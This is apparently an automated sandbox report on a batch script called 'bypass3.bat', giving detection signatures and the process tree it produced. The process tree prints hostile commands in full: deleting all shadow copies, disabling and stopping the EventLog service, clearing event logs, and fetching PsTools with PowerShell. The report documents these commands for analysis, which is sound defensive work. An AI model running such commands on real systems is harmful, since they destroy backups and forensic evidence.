Analysis

  • max time kernel
    149s
  • max time network
    123s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 05:41

General

  • Target
    bypass3.bat
  • Size 2KB
  • Sample261102-gdsdlahv2l
  • SHA256 f8200085d0ef171486981af8de238f06995d3fea37d251db49d2ab9c326fd4ba
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Disables service(s) 3 TTPs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bypass3.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3616
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" title System Bypass Mode "
      2⤵
        PID:6036
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" color 4"
        2⤵
          PID:5488
        • C:\Windows\system32\mode.com
          mode con: cols=60 lines=10
          2⤵
            PID:2456
          • C:\Windows\system32\net.exe
            net session
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2252
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              3⤵
                PID:2320
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -command "Invoke-WebRequest -Uri 'https://download.sysinternals.com/files/PsTools.zip' -OutFile 'C:\Tools\PsTools.zip'"
              2⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5768
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -command "Expand-Archive -Path 'C:\Tools\PsTools.zip' -DestinationPath 'C:\Tools' -Force"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5132
            • C:\Windows\system32\wevtutil.exe
              wevtutil um "Microsoft-Windows-Kernel-General/Analytic"
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3248
            • C:\Windows\system32\wevtutil.exe
              wevtutil um "Microsoft-Windows-Kernel-General/Admin"
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4416
            • C:\Windows\system32\sc.exe
              sc config "EventLog" start= disabled
              2⤵
              • Launches sc.exe
              PID:2640
            • C:\Windows\system32\net.exe
              net stop "EventLog"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4608
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "EventLog"
                3⤵
                  PID:3580
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c dir /b /s /a-d "C:\Windows\Logs\*.log"
                2⤵
                • Executes a command shell one-liner
                PID:460
              • C:\Windows\system32\vssadmin.exe
                vssadmin delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:4372
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic shadowcopy delete
                2⤵
                • Reads the TCP/IP host and domain name from the registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4252
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3216

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 e97e9e018aa84848b6275ffb67628f79e1c4d10ae225b4b61a0599d26b11d0e6
                  • MD5 SHA1 SHA512 TLSH

                  __PSScriptPolicyTest_0fcrw0o3.gng.psm1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0fcrw0o3.gng.psm1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  memory/5132-26-0x0000028CEB690000-0x0000028CEB69A000-memory.dmp

                  memory/5132-25-0x0000028CEB6D0000-0x0000028CEB782000-memory.dmp

                  memory/5132-24-0x0000028CEB6B0000-0x0000028CEB6CE000-memory.dmp

                  memory/5768-7-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp

                  memory/5768-15-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp

                  memory/5768-9-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp

                  memory/5768-10-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp

                  memory/5768-11-0x000001ACDD3C0000-0x000001ACDDB66000-memory.dmp

                  memory/5768-12-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp

                  memory/5768-14-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp

                  memory/5768-8-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp

                  memory/5768-17-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp

                  memory/5768-18-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp

                  memory/5768-0-0x00007FFA3124F000-0x00007FFA31250000-memory.dmp

                  memory/5768-6-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp

                  memory/5768-5-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp

                  memory/5768-4-0x000001ACC4500000-0x000001ACC4522000-memory.dmp

                  memory/5768-3-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp